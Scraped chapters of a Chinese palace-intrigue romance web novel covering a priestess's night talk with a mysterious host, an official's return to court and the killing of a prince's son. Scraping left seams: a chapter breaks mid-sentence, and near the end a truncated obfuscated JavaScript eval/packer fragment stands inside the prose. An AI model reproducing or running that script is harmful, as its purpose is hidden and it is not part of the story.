“回那里去?”院子里风大,放在桌上摊开的药材被风吹的难以控制,也吹的姜如素的衣裳呼呼作响。袁卜榆将一侧备下堆放药材的草席,取了多余的将四周围了起来。 “回儋州?”她轻声猜测着,有些迟迟的反应着袁卜榆未曾同她说过他家乡何处。 “我回儋州干什么?”他说的时候带着笑,像是看着逗趣的雀儿。 “你不是师从文安散人?团圆佳节你不回去看看他?或者家中父母兄妹?” 袁卜榆将手中的药材放好,用油纸包成有棱有角的一包,纸张互相叠放在一起,也是不易松散开,用麻绳将布包缠绕起来时将早就写好药名的纸张放在其中。 做完这一行动作,他才极为认真的看着姜如素说着,“我早就没了亲人,父母早在我年幼的时候便双双离世,余下的一个兄长刁蛮无理同我断绝了兄弟之情,将我逐出了门。我出师后师父云游四海更是无影无踪,所以,一个人过也算是清闲。” 分明是那么轻的话,却一下子压得姜如素不知如何是好,她能清楚的明白这种感受,她也记不得她的父母是谁,她也是很年幼的便被挑选为祭司,长大了才知道那只是单单成了祭司一脉。 她的课业完成的好,前辈偶尔便会点上她同着另一位年长她半岁的一起去尔木知的帐中,欢歌笑语声中,她看见那些才学会走路的孩子在父母的怀中笑得开心,因着多走了两步,便能得到父母的赞许。 分明在课业中,她应当更无欲无求感应天地,可看见这般欢乐的景象依旧还是多看了两眼。 “抱歉。”可她最后只能说出这个。 “不必感到抱歉,”袁卜榆接着忙着手中的活,“远离了他们,师父不照样将我养的好?” 袁卜榆知道姜如素其实并说不来什么安慰的话,平日铺子经营往来说需要的恭维话说来说去也就那几句,汉地的礼节同西羌不同,可同他谈话,她不用如此。 “你别看我平日里高冷沉稳的模样,我师父可同我完全不同。”他安抚似的塞了一个安神的香囊放进姜如素的手中,这是他方才整理药材时,就想着要顺手做出来,年后寻个机会给姜如素,这样倒也是省事了。 他说他师父的性子就像是老者面顽童心,别说是儋州,便是天下也没几个他那般爱看乐子的人,但杜成安也不是事事都凑个热闹,他这人还是精明着,表面笑呵呵的说不定什么时候就把话给套了。 凡寻常事,三步之内必有解药。 袁卜榆又同姜如素讲着,杜成安其实也是很容易看透的,他讲着早些时候不听劝老爱和师父对着干,杜成安让他受罚时,真生气和假生气时的不同,和她讲在云来山的日子。 “如素,过去所有或能成为困境的经历,都是困不住如今的你我的。”所以,她并不需要因为关心到了不需要回忆的事情而感到歉意。 提及到袁卜榆,姜如素也是走了神,自她从绣楼被尹雁淑带着去了揽月山庄到今日,几日音讯全无也未曾告知他如今的情况。 “杜前辈。”余下的东西也不太适宜参观,毕竟是聘礼,她沾了杜成安的光也算是长了见识,见过汉地如百花绽放的各色绣艺织技。“我能否下山去?” “下山?下山采买东西?” “不是,只是这几日音讯全无,想着去报个平安。”姜如素如实回答。 “同谁?我那徒儿?”姜如素颔首称是,杜成安领着她走到门口,又用锁将门给锁上,锁瞧着的模样倒是同寻常的样式不一般,也不知道是以什么的法子去解开的。“你就在这好生将养几日,晚些传了信就行。” 杜成安说的有道理,上下山往来几个时辰,赶不到天黑前回来,如今虽能自由行动,但毒入膏肓她还得修养些时候才能恢复如初,她不敢浪费任何一些时间。 更何况,严秋水极少见客,前些时候,甚至一两年才有一两人见上他一面。如今得了严秋水一日一问的特例,她也得好好抓紧机会才是。 回程的途中,院子中有着一树绿到苍翠的树,郁郁葱葱的长势瞧着可是喜人,她在郢州城从未见过这般的树木。 “这是什么树木?”姜如素问出声音。 “是景州的云宁木。” 30.官复原职 《白月光他又假死了》全本免费阅读 夜幕低垂,日炎渐消,风清月朗倒是个夜游的好时候。 宫墙上的红却在这沉沉的夜色中,像是粉刷着一层血,长到像是没有尽头的宫道,在暮色中令人又有了几分阴沉,令人在心中不由得打了一个冷颤。 “晏大人,随我走吧。”一个穿着重甲的侍卫,一手杵着别再身侧的刀,抬手指挥着一侧的侍卫将门推开。 一辆普通的下等马车中,下来了一个男子,男子的穿着很是低调,憔悴的模样配着脸上的伤痕就像是逃了很远才得以安生,可这样却依旧无法磨灭掉他身上的那副文人骨。 “陈统领,许久不见。”晏临江瞧着有些疲惫,再回上京早是物是人非。 “晏大人,也是许久未见,可安好?”陈时看着眼前的男人,眼神中闪过一刹的疑惑,转瞬后便掩饰的极好,两人第一次相见的时候,是在景乾十一年,陈时那时候还没有坐上御前侍卫统领的位置。 六七年,当年还为刚加成为御前侍卫,而高兴的提酒去找晏临江喝个大醉的男人,如今已经成了杀伐果断的御前侍卫统领,身上的肃杀气这些年只增不减。 “自然是安好。”随着关上的宫门,晏临江的回声在空落落的宫道上显得格外的响亮。 “他...可还安好。”陈时又问道。 “过的不错,日子还算安稳。”晏临江将声音放的轻了一些,只是二人之间能听闻得到的声音。 “那就好。”陈时得了回答,便又不再开口了。 宫道很长,前来引路的宫女太监提着灯姗姗来迟,为首的是一个小太监,见着两人捏着嗓子说着,“见过陈统领,晏大人,两位大人随老奴来。” “晏大人,夜里的露气很重,可得注意脚下。”陈时轻声说着,瞥了一眼小太监,便向着晏临江行了一礼,“既然将晏大人迎了进来,我也该回归本职工作了,若是还有缘分再见。” “有缘再见,陈统领慢走。”晏临江也并不顾着要看陈时走远,只单单的客套完,便朝着小太监递去了一个眼神,小太监立马便领会到了,回身低着头再前带路, 两侧宫女提着的宫灯,在行走是灯盏随着一晃一晃的照亮着这前行路,婆娑灯影却映衬着晏临江瞧着像是个陌生人。 先帝去的早,如今皇帝也才三十有余。 这个时候还在御书房批着早朝上那些臣子上奏的奏折,大多是一些都是些无足轻重的小事儿,要坚持去某处修缮一个石像宗庙,有些爱拍马屁的便是上书称赞着陛下的风光伟业。 赵煜怀有些烦躁的将那些无聊至极的话语全都驳回了,每日都是上书这些,死不悔改,起先倒还是能为自己所做的业绩有所反馈而感到受用,如今批不完的奏折中夹杂着这些话,倒是看得他愈发得烦躁。 “陛下,晏大人来了。”小太监站在门口对着门缝轻声的说着,屋子内贴身的太监听见了,便行至赵煜怀案前六七步远的地方,又重着声音禀报着,“陛下,晏大人到了。” “晏卿到了?快宣他进来。”赵煜怀才被扰的头疼,这会儿听闻晏临江来了也是舒心了一些。 晏临江随着大太监低着头进了御书房,乖觉的隔着几步,端端正正的行跪拜礼,还未等他跪下身去,皇帝便绕过桌案扶住了他的手。 “晏卿不必多礼。”不知道是不是几年不见的原因,赵煜怀仅仅是扶着晏临江,便感受出来眼前人如今瘦了不少,但很快他便是陷入了欣喜的情绪中,“晏卿如今能安稳的活着回来,完好的站在朕的眼前,当真是恍若隔世。” 他庆幸,庆幸晏临江没死,庆幸当时的他做足了表面功夫,于背地里放了晏临江一条生路。不然他可还有不少的事情得愁白了头发。 “晏某如今能历经万难不死,也是多谢陛下当年的不杀之恩。”被赵煜怀止住跪拜礼的晏临江依旧保持着行拱手礼的样子,不抬头去见天子仪容,只将目光放在眼下的木地板上。 赵煜怀被晏临江的回话有些止住了话头,晏临江这些年活着当真是为了感谢他的不杀之恩?放晏临江一马的是他,但将真相压在宫墙内,派不少的人对外宣称晏临□□。 他在断了晏临江的后路,哪怕他逃去西羌北夷去到其他的地方,没有人会相信被亲自赐死死在皇帝面前的人会再次死而复生。 晏临江并不傻,今年才入夏时的刺杀,并不是他出京以来的第一次,明面上说着的是平阳王的手笔,若要真追查溯源,便是同这位天下的尊主有着逃不开的关系。 赵煜怀迫切的需要这位谋士为他出谋划策,为他化作挡箭牌好隐藏自己的真实目的,只表现得像是一个如万民所期许的,拥有着无数美德加身的皇帝,也希望着晏临江能成为他对付平阳王的茅,成为他最为忠诚的一颗棋子。 他也在庆幸着当年念及晏临江的功绩,便还是为自己留了一条后路,如今这后路果真又用上了。 “能活着回来就好。”九五之尊的男人抬手让身侧的小德子为晏临江搬来椅子,为他赐座。 晏临江敛眸并不作答,这放在往日定是不会这般的,那时的无双谋士似乎与陛下无话不谈。 他如今的模样瞧着同当年极为不同,疤痕淡下去了不少,只算的上是样貌英俊到比不上当年的那般惊为天人的模样,连性格也是变化极大。 三年后的晏临江像是用匕首刺杀了三年前的晏临江并取而代之,变化大到像是变了一个人。 若不是赵煜怀这些年一直派人盯着晏临江,怕是他都要怀疑眼前的人换成了旁人。 “晏卿这些年过的可好?”赵煜怀关切的问着,这份真情实感只有在晏临江刚入京的时候曾短暂的在皇帝的脸上出现过,那时的皇帝似乎很迫切的能同晏临江开创一个景乾盛世。 可盛世依旧如他所愿的到来了,但自古帝王身边留不得功高盖主的人。 31.当真有缘分 《白月光他又假死了》全本免费阅读 茶室似乎只点了一盏灯,透着那窗上的剪影,看着灯影摇摇晃晃的,严秋水的身影孤零零的映在窗纸上。 “严先生。”姜如素叩门。 严秋水愣住了身子,许久才答了一句,“时候不早了,姜姑娘病体初愈应该早些歇下才是,还是有事找我?”似乎觉得姜如素这么晚来有些不对劲,严秋水还是又将话语留有余地的抛给了姜如素。 “夜里睡不着,想到一些旧事,还望严先生能为我解惑。”姜如素心中也是有些忐忑,严秋水白日已经答过说一日一问,她已经并不期待着能再从他这里得到回答。 但千丝万缕的因果拢在一处,已经扰的她无法安眠了。 她想着试试,就算得不到想要的答案,好歹也算是能放下防备同他倾诉一番。 “自然是可以的,请姜姑娘稍等片刻。”严秋水说完便不再作声了,屋子里传来了一些杂乱的声音,有轻微瓷盏磕碰的声音,桌椅挪动的声响。 她瞧见那窗纸上的身影或大或小,烛火也似乎不稳定着的照摹着他,约莫过了些会儿,才渐渐的安静了下来。 “茶室的门没上锁,姜姑娘请进吧。”严秋水的声音有些翁,在室内听着像是有些哑,或许是夜里的风太冷了。 姜如素推开门入内,室内的格局被严秋水给挪动了,将寻常靠着墙放置书卷的那张长桌给挪到了帘子中间,那本该触地的黑纱帘子便是落在桌案中间,将两人以着一帘之隔分别坐在两侧。 近在咫尺间,呼吸可闻的距离。 严秋水分明在她进屋前就将室内的灯盏多点上了两三盏,可是她依旧看不见他的脸庞,只依稀看见严秋水的轮廓,他的侧面如玉雕,浅浅几笔便勾勒完美的形态。 “我今日来,是有一件东西要还给严先生的。”姜如素将那玉佩自腰间解开,放置在桌上,“严先生那日解围送来的玉佩,我也该物归原主的,我同严先生才认识,这玉佩贵重,何况寓意非凡,总是放在我这儿不太合适。” 严秋水方才听闻她要还一件物品的时候,一颗心便是提了起来,他并不太记得姜如素有什么从他这里借走的东西。他于心是不希望他们之间太过生分的。 严秋水瞧着是玉佩倒是松了口气,将玉佩又推了回去,“这玉佩既然是送给姜姑娘了,便是放在身边傍身就是。” 姜如素并不去接,但又恼于怕冒犯了严秋水,不敢直接掀开帘子直接放入他怀中,也只能沉默的往一侧让了让。 “还有一件事,严先生可知晓姜锦?可见过她?”姜如素接着问道。 “既然姜姑娘谈及到这里了,我便一并都说了,我见过姜锦,并且姜前辈在我这儿给你留了东西。”严秋水见她不拿,直接轻笑出声,“其次我们不是初见,或许姜姑娘不记得了,但我们早在很久之前就见过。” 见过?既然见过,那姜如素就更相信自己的猜想了。 杜成安曾随口提及的那位西羌人便是姜锦,他能借由那事便能知晓她百毒不侵,可见那人也是少见的百毒不侵,除了她的前辈,她再也想不出旁的西羌人了。 当真是是她。 姜如素快要控制不住那颗要蹦出胸腔的心跳,当真是她。 南水羌战乱时,姜锦带着她出逃的时候,于多少次生死边缘中又硬生生的熬了过来。若不是为了积蓄力量,给暗赫人致命一击,她们也并不会出逃。 姜锦自从五年多前同她分开时,并未曾同她说过太多,没有说暗赫人的首领是谁,没有说她该怎么办,眼瞧着离批文中所说的七年越来越近,可姜锦依旧未曾向她透露过任何的消息,也未曾同她见一面。 她发过心疾后曾忘过不少过去的事情,只记得分别前前辈的眼神,如戈里木斯湖般指引着她前行,她知晓前辈的眼神除了分别,还有着千言万语未曾同她说过。 她到底藏了什么? 这是姜如素早些年里,夜夜惊醒却依旧百思不得其解的问题,后来日子渐渐长久了,她便渐渐的不再做梦了。 她也记着最坏的打算,留她一人,孤身返羌,她并不知道顺着如今彭先生这条路,能否顺藤摸瓜将幕后之人一网打尽,若成了便也是了却一庄事,若是不成便是将这条命又还给南水羌的土地,再归于自然。 所以她不敢赴约,不敢去见晏临江,不敢去景州。她不敢有太多留念,早早的便将孤女培养成接受绣楼的下一任当家,早早的将技艺传下去。 可如今她或许有了方向。 她离那谜团就差一步之遥了。 至于同严秋水见过... 姜如素有些不解,透着那层薄纱想要看清,从眉眼间认出是否是某位故人,但显然她的想法很是幼稚。 姜如素想了许些时候还是将那些不切实际的想法给否定了。 秋水堂三个字她早在西羌的时候就曾听闻过,那时候虽不知道秋水堂的人是何等的大人物,但依旧还是明白这这个地方并非平凡之地,曾从路过的旅人口中得知秋水堂的风采。 得知那严秋水是位最公正分明克己慎思,清风朗月般金贵的谪仙人。 后来在亲近些,便是绣楼初开那年的订单,到后来年年的订单。 若是早见过,她不会忘记的。 “前辈留了什么?严先生方便予我一看究竟?” “自然是方便的。”严秋水说着便掀起帘子一角,那帘子也是分成几段方便出行的,桌案也正正好同它一般宽,严秋水将盒子递了过去,灯光黯色中衬着他的手指更为骨节分明的白皙。 借着案前的烛火,她将盒子中的东西都看了个遍。 一些作为佐证的书信画卷中,夹杂着一张书信,上面的字迹都快辨别不出来写的是什么,但姜如素认出来了,那是如素亲启。 西羌是没有文字的,都是代代口传的话语,必要的记载时,多以发音为主,辅以自己习惯的单音刻画成一条条弧线。 后面应该是严秋水代笔,字体工整有力很是美观,到真是应了那句,字随人的话语。 盒子很小,里面装的东西也并不多,想来杜成安说的不假,姜锦只短暂的在秋水堂留过片刻便离开了。 一些书画画着一些人的模样,姜如素认识,那时当时南水羌叛变的那些暗赫人,那些的模样就算是化成灰她都不会忘记。 她还记得才十几岁的她,在出逃的路上被这些人追杀,他们凶神恶煞的提着刀斧就要将她们的头颅砍回去博得首领的赏赐,那些眼中疯狂的展现着兴 32.饮鸩止渴 “严先生能让我间前辈一面吗?”严秋水既然能知晓姜锦如今的生死,应当对她的下落也是明了的,若是有机会,姜如素还是想亲眼见见她。 “那位前辈暂时并不想见故人。” “是吗?”姜如素说不失落都是假的。 她办绣楼是藏了私心,起先只是想着糊口,后来便在夜夜的梦魇中醒来,想着或许前辈还在,或许姜听月还在,只是她们也寻不到她了,她便想着努力开绣楼,等她们一听闻到无素绣楼的名头,便能立马来寻她。 可她等了四年,她想的人没有任何一人曾在她的门前驻足与她相认。 “夜里只备了酒水,也不知道合不合姜姑娘的胃口。”两人一来二去的聊了不少,姜如素方才的声音已经有些沙哑,想着给姜如素斟杯温水,但夜里为了醒神只留了一壶酒。 “那便麻烦严先生了。” “不麻烦。”严秋水说着便为她满上一杯酒,递给了她。不知是不是错觉姜如素总觉得他尺骨处似乎点着一颗小痣,如同白雪封江时的一尾墨鲤。 她还欲在看,严秋水已经收回了手,她没有见过他,她想着捧过酒盏润润嗓子。 酒味的冲劲很足,还没喝就感觉有些醉人。 入喉是苦味,纯苦,很苦很苦,姜如素根本品不出其中所谓的香味,姜如素忍不住皱眉。直觉比中药还苦,脑袋开始发热,胃也开始有些灼热感。 分明觉得酒味也并没有比果酒高到那里去,但似乎纯粮酿造的却更是醉人。 “既然不该姜姑娘做祭司,那姜姑娘原本是打算要去做些什么?”严秋水就像是问着一句废话,但姜如素却有些湿润了眼眶。 这个问题她想过很多次,若是当年没出现纷乱,她会去那里?没遇见晏临江,她又当如何? 姜如素这些年来,亲眼看着绣楼一点点的到如今的地步,有着善解人意的伙伴,花不完的钱财,回庄子上还能过宁静的日子。 她也想着等点秋她们把铺子开起来,就可以在背后数钱了,每个月有花不完的进账,还能住庄子上过些清闲的日子,也不用因为心疾整夜整夜的被梦魇着。 但她还是忘不掉,她还有事做的,可时间久了,倒觉得西羌的那些日子是梦了,是她身为绣楼东家午后的一梦,可西羌的日子又觉得那么真切,她又觉得绣楼的日子美的不像是真实的。 她想着告诉信任的人,她想着多一个人记住,她便夜能分清了,可面对点秋和文秀萍她们时,她又将话咽了回去,她们不知道西羌的那些事,或许连西羌有多少个部落都不曾关心。 程伯年岁大了,每逢情绪低落,程伯问道她也只是答着好久没回去了。程伯也权当她想家便不多问了。 袁卜榆呢?袁卜榆自由洒脱惯了,她不该惊扰他。 还有谁能听她说说呢? 或许只有今夜的严秋水。 “我不知道。”姜如素摇着头,像是说给严秋水也是说给自己,“其实本来祭司这一职位本是落在姜听月身上的。” 姜听月长她一岁半,是所有下任祭司候选人中最为优秀的一位,旁人或许不知道,但姜如素知道,前辈暗中也让姜听月以着协礼祭司的身份一同卜算结果,姜听月的结果同前辈相差无几。 姜听月知道姜如素的心思,知道她不想困在这四四方方修行的地方,便说着等她当了祭司,便许她做协礼祭司。 让她做这俸银不少还闲散的协礼祭司,天气好的时候,她们就去牧马,去草地上吹风,夜里去观星参命格,可都说好了的...... “那位听月姑娘呢?” “我不知道。”姜如素感觉声音像是强行挤压出喉,她不知道,她什么都不知道,她也记不清了。“那严先生知道吗?” “我也不知道。” “是吗?”姜如素感到失落,严秋水都不知道她不敢去想。 姜听月那道几乎覆盖了整个背脊的刀疤,永远的印刻在她记忆中,她忘不掉,抹不去。余下的她记不清了,她讨厌姜听月,讨厌姜听月说话不算话,讨厌姜听月不来见她。 但她的记忆似乎有多有错乱,乱的她也分不清了,只要姜听月活着就好。 出逃的第二年她听人从西羌传消息来,南水选出了新祭司,新祭司那夜去给胡尔达送新他所有的命示结果,侥幸在胡尔达的庇佑下活了下来。 可那人才被选作祭司一脉的人,莫说是行使祭司的权力,就是最简单的预示梦都做不到,只空有一个祭司的名头。 如今在南水羌在西羌各部中风头正盛,要让其他人承认一个消失七年的人为祭司几乎是不可能。只有胡尔达和暗赫人迫切的认可她,寻找她。 但如今还不知道前辈和胡尔达的计划是什么,凭着前辈留下的那一句等到同胡尔达约定的时间到了再行动,她也只有暂时往后推推了。 “严先生,可听说过西羌有一句批文。”姜如素喝了酒,有些上头又难得逮着可以倾诉的对象,竟然也有了闲心同严秋水聊些别的。 “严某不知,还请姜姑娘赐教。”严秋水对那批文也是听过一些的,但还是装作不知,等着身侧人为他解开谜题。 “其实那批文中的七年之约,我以前也在猜,我猜是前辈留给我的离羌的七年之期,今日我算是明白了,是前辈同胡尔达指之间的约定。”姜如素心想着那些传言果真误事,倒是当真更佩服严秋水了。 “居然是这样的吗?”严秋水却是感到意外,旁人也曾传回过不少关于这批文的消息,有人说西羌也有如程伯那般离乡十几年的,但毕竟祭司一脉最为神秘,或许当真如此。 可当年还活着的储备祭司早就没剩下几个人,严秋水也只停留在了保留怀疑的地步,从姜如素口中听到了真相倒是舒了一口气。 如今,七年也快到了。 “那你要如何回去?”严秋水显然也是顾虑到了如今那位祭司的存在。 悄悄的潜伏回去,还是等到胡尔达传信来将她接回去?可悄悄潜回去,姜如素到不了南水,便会悄无声息的被带走,或许连最后的死去都是悄声的。 “你记得彭先生吗?”姜如素自顾自的透过那层黑纱去对上严秋水的眼睛,“那日我虽同他隔了挺远,但我接着那侍女外出的空挡,在她身上动了手脚。” 那是一味西羌特有的香料,但同某些常见熏香粗闻并无异处,常常会令人分不清,但等到再过两月,西羌的花开了,他也该反应过来了。 可暗赫人的目的若是只为那首领寻解药,倒也不至于联手平阳王了。她虽自愿为了弄清晏行丘的真实身份,自愿为了会一会彭先生,而随着尹雁淑去那揽月山庄软禁了几日。 将来无论行到那一步,她同他们都是敌人,但这同样证明着姜如素的处境并不会太容易。暗赫人想着自立门户,势必就要从十二部中硬生生再夺出一块地盘才是。 平阳王谋反的心思,几乎就是路人皆知了,可笑的帝王却依旧顾及着“体面”的皇家威仪,迟迟不愿抬到明面上动手。 如今天下的局面说来也是简单,莫过于两个阴暗处生长的野心家联手推翻如今的和平,再自立正统。姜如素隐隐猜测到了前辈的想法,联合胡尔达引出幕后之人,在联合西羌十二部围剿。 她要回去,回去给姜听月报仇,回去做前辈未尽之事。 可她还是觉得一丝委屈,什么都不曾告诉她,却又放着 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似乎是已经醉了,姜如素竟趁着酒劲想见见那黑纱另一侧的严秋水的真容。她这么想了也这么做了。 她挑起那帘子的手只轻微掀起了一个角,隐约瞧见严秋水今夜穿着的是间如夜色般墨蓝色的衣裳,以及那织金的腰封,显得他腰身很细。 严秋水拿着杯子的手直接隔着纱帘,轻轻压在她手背,制止了她的动作,不知是不是因为杯子方才还被严秋水握在手中,姜如素总觉得那杯底隔着黑纱透着严秋水的掌温。 “姜姑娘?”严秋水的声音带着一丝恼怒,像是在恼怒她怎么这般不听话。 “嗯?”姜如素闷着回应着,“严先生也是这么想的?” 想什么?想见她一面,想同她毫无遮掩的面对面的相见?还是想替她拂去所有的障碍? 等不到严秋水的回答,姜如素自顾自的接着说下去,“天下权位当真不知道有什么可争的,都是同样的位置换些人坐坐,要是年末我还活着,我也能归隐过无忧无虑的日子就好了。” 原来说的这个,严秋水笑着说附和道,隐居的日子却是能少去那些无关的烦扰,还说着让她届时来秋水堂住下。 “若是苦恼,不如...”严秋水刚张了张嘴,听见屋中只余下姜如素浅浅的呼吸声,就如同已经沈眠时轻浅的声音,他抬手掀开帘子,借着掀开的一处,他看着姜如素已经醉倒在了一侧。 原来方才是在说醉酒后的胡话,他还以为是姜如素只单因着对赵永林的厌恶,放下一些狠话。 “也罢。”他轻声叹了一口气,扯散发带直接径直绕过那黑纱,姜如素醉的很是突然,严秋水无法保证着她是否短时间将酒劲消了又醒了过来。 为了保险起见,他还是用扯下的发带将姜如素阖上的眼给蒙了起来,姜如素就像是乖巧的狸奴,任由他轻轻的将发带在脑后系上一个结。 朝思暮想的人在了眼前,如烈火焚身,抽离不得,严秋水少见的失了态。 像是心底在作祟,分明青色丝带已经将姜如素的眼都给蒙住了,但他还是鬼使神差的伸手覆上去,遮住了她的眼。 屋子起了风,吹得烛火也随着摇晃,若明若暗间,像是有什么引人蠢蠢欲动的邪念也随之张狂。 他抚上姜如素的唇角,虔诚的,温驯的像在沙地里渴了很久的旅人终于遇上了绿洲,严秋水分得清眼下的真切, 他都快疯了,他想她想的快疯了。 严秋水喝了酒,姜如素也喝了酒,只两指之间的距离,似乎连呼吸都纠缠在了一起,那酒劲似乎更醉人了,他轻轻的吻了下姜如素的唇角,触之即分。 相思之苦,他也在饮鸩止渴。 33.又见面了(坏笑) 午后的屋子有些闷,揽月山庄便上上下下的都将屋内的门窗都给打开了,穿堂风吹过倒是带来了不少的凉意,但到了傍晚气温才降下来了不少。 还有半月就要回京的赵永林还是依旧如往日般享福,今日倒是少见的没让那些姑娘来跳舞,只找了个琴艺高超的姑娘在一侧弹曲子,全六陪他练了练手便下去歇着去了,便叫了另一个侍卫陪着他下棋。 侍卫的棋艺算是随行里较为不错的,但依旧在赵永林的攻势下败下阵来。 “殿下好技艺。”侍卫称赞着朝他行礼,赵永林今日心情大好,也给了赏赐,“多谢殿下赏赐。” “下去吧。”赵永林拍了拍侍卫的肩让他下去,“把全六叫来。” “是。”侍卫应声正打算去将还在歇息的全六叫来,还不等他退出门,全六就火急火燎的进门。 “这是怎么了?苦着个脸。”赵永林皱眉问着,勒伍随行在迟都督那处,他手下的十万兵马已经都检验过了,战斗力都是不错的,只待命令传达便可挥师北上。 得了消息后,赵永林今日的心情大好,瞧见他这愁眉苦脸的样子倒是搅乱了今日的好兴致。 “王爷传了信来。”全六抿着嘴不再说下去,直接递给了赵永林。 这是京中刚传来的信条,是信鸽不眠不休加急送来的,鸽子腿上绑着带有红色标识的信筒,他极少见过,一旦出现消息怕是重中之重,会让他们重头审度的消息。 赵永林瞧见那红色的标识也不再说全六,心里有些忐忑不安。 什么消息?紧接着好消息传来的,怕不是好事。他看了一眼全六的神情也是很快的反应过来,这个消息并不是一个会让他高兴的消息。 毕竟连全六那张少有情感表达的脸上都透露着一股极为压抑的严肃。 他接过那张纸条,用食指捻开,上面赫然写着,晏安返京,蒙圣恩擢为御史。 余下半句瞧的赵永林心揪了起来,彻查世子于郢州所作为。 “消息是多久的?”他的声音听起来都冷了不少。 “王爷昨日午后得了消息,就立马派人传来的。”不足一日半,晏临江应该还在路上。 “真不知道我这位皇叔到底是怎么想的,居然愿意放过...”赵永林说到一半倒是将自己说服了,欺君之罪在晏临江那巧舌如簧的一张嘴下,说不定能说成为君藏锋潜伏多年。“也是,晏临江最厉害的也莫过于那张嘴了,能把黑的说成白的,也不足为奇。” 但他就是有着一种很不高兴的感觉,就像是本就已经装进鱼篓里的鱼儿突然在下锅前一刻逃离了一般。 “我竟然不知道世子殿下眼里,晏某居然是这样的人。”男子带着笑意的声音从屏风后的露台处传来。 赵永林无需回首,便知道那人是晏临江,这声音太耳熟了,晏临江最是这番语气,永远都是一副看穿全局的旁观者姿态。 “晏大人,居然到了。”方才他还想着上京路远,晏临江应还有两日路程才到,倒也是忘了晏临江最是狡诈,说不准消息传来的时候,他便已经在路上了,毕竟已经有四年不见了,他竟下意识的忘了。 “又见面了,世子殿下。”晏临江倚靠在门框,“看来世子殿下的消息不太灵通啊。” 这显然是在点他父亲传来的消息并不太及时,不然怎么会他晏临江都上门来了,他才得了消息。 “晏大人真会开玩笑。” 晏临江站直了身子,作势进屋来坐坐,没得赵永林首肯,全六立马将剑刃横在晏临江身前,只要晏临江再往前一步,他手中的刀便会毫不留情的在晏临江身上留下血痕。 “世子殿下的小侍卫可不要手抖了。”晏临江用扇子将剑拨开,踱步到屋内,眼睛一直盯着赵永林,那是一种慵懒的目光,像是笃定了他不会动手,不敢动手。“杀了陛下亲封的御史,王爷在御前可不好替殿下说些好话,到时候可就不止是外放两月这么简单的处罚了。” “哦?是吗?”赵永林轻笑,“原来是御史大人啊,我还以为再见晏大人会称呼您一句晏相呢。” “世子殿下还是像以前爱开玩笑。”晏临江站在一侧,正欲坐下,被赵永林立即给唤住了。 “那晏大人今日来是为了何事?”赵永林皮笑肉不笑的说着。 “世子最近在郢州城过的当真是舒坦,为非作歹草菅人命,我是奉命来押你回京的。”晏临江将押字说的重,言语间像是一耳光打在赵永林的脸上。 “晏大人说笑了,看来大人如今这身份,还得我请你入座。”赵永林说着起身并肩同他站着,伸手放在他肩上,手上用了力道,用了力气要捏碎他的肩胛骨一般。 那是晏临江的伤口,是全六上次追杀是亲手射出的毒箭,如今时日过去了堪堪近一月,但那箭上的毒赵永林清楚,那时最毒的药就算止住了血,也会由血肉中生出如虫咬的难熬,伤口往往还会被挠破,就算没死,也是煎熬。 晏临江有些吃痛,将赵永林的手搬开,伤口还未愈合的痛让他额角生了冷汗。赵永林手上也在用劲儿,两人一时僵持了起来。 “这不好吧,世子殿下。”晏临江也不想同他僵持下去,手上用力朝着赵永林的面门打去。 赵永林闪身躲过,他退后的间隙,一侧的琴娘不知道跑去那里了,屋子外以及不知潜藏在何处的侍卫都涌了进来,呈包围的架势围住了两人。 “世子殿下这是要干什么?要杀我?”晏临江轻声说道。 “猜对了。”赵永林的脾气向来是被他父亲纵容出来的,他可不像他那位皇叔,顾着一些体面便不敢再做些过分的事情,但他不一样,就算是今日他因杀了晏临江而受到处罚,哪怕被关进天牢被流放,今日他都不会让晏临江活着离开揽月山庄。 他比任何人都清楚晏临江的难对付,他或者像是一根刺,他官复原职又站到他的对立面,就像是刺深深的扎入了心窝。 “要不再考虑一下?”晏临江有恃无恐的坐着,方才赵永林捏的那处肩都快碎了似的,他活动活动肩颈缓解着不适感。 “考虑?”赵永林像是被说动了。 “嗯。” “不考虑。”赵永林拿过属下的刀就朝着晏临江劈来。 圣旨的轴柄及时的挡住了赵永林的招式,刺耳的碰撞声将院子外的尹雁淑给引了过来,尹雁淑推门而入的时候,便是看见这场面,赵永林提着刀步步紧逼,晏临江拿着圣旨在他面前毫无还手之力。 还不待她开口,陈时便现身挡在了晏临江身前。方才挡那一下子震得晏临江手都麻了,揉着手腕觉得今日出行不顺。 “世子殿下若是当真要动手,可别怪我手下不留情了。”陈时面无表情的挡在晏临江身前。 “陈统领,你不在宫中守着陛下,倒是来这个地方了。”陈时的出现无异于让赵永林和尹雁淑都震惊了一番。 谁不知道这位陈统领是陛下身边御前侍卫的最受重用的几大统领之一,虽说他的能力比不得其余三人,但胜在为人忠诚,做事刻板公正。更何况御前侍卫在宫外都少见,更不说是郢州城了。 赵煜怀居然将陈时派来护着晏临江,看来这件事当真是越发的棘手了。 “这不是看我手无缚鸡之力,特地派了一位高手,免得世子殿下万一心情不好,杀了晏某怎么办啊。”晏临江故作愁眉苦脸的看着赵永林,看向他的那双眼睛里倒是藏着笑意。“对了,这圣旨还没给世子看呢。” 晏临江将方才拿去挡刀的圣旨往前递了递,“要看看吗?” 赵永林约莫猜到了上面的内容,晏临江有备而来,但赵永林还是不打算放过这个机会,他在心中默想着,就算是死,为父亲的大业博得更多的胜算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人的刀剑飞出去了不远,晏临江的剑还飞进了一侧的树木中。赵永林趁他分心一套连拳打的晏临江节节败退,晏临江用脚抵住一侧的桃树,才稳住了身子。 赵永林有些志在必得的去摸腰间的刀,晏临江先他一步将短刀拿到手刺向他心脏的位置,整个过程动作干净利落。 赵永林睁大了双眼,察觉出来了一丝不对劲,“你不是...” 晏临江不在乎他说了什么,看着他倒是露出了一个笑,原是晏临江身上最不可能出现的极为张扬的笑。 不是什么?不重要了。 赵永林的身躯还是受不住的倒下了,晏临江看着他身后的陈时,陈时的招式都是又快又狠,血倒是没溅他一脸。 “陛下要是问起来,陈大人可得为我作证。”晏临江捂着左臂的伤口,看着陈时有些嫌恶的用剑挑起一侧的手帕,将剑刃的血一点点的擦拭干净,也转身去将自己的剑从树里拔了出来。 “自然,晏大人毕竟只是为了自保才动手的,赵永林是我杀的。”陈时站在他身侧也随着他的目光看过去。 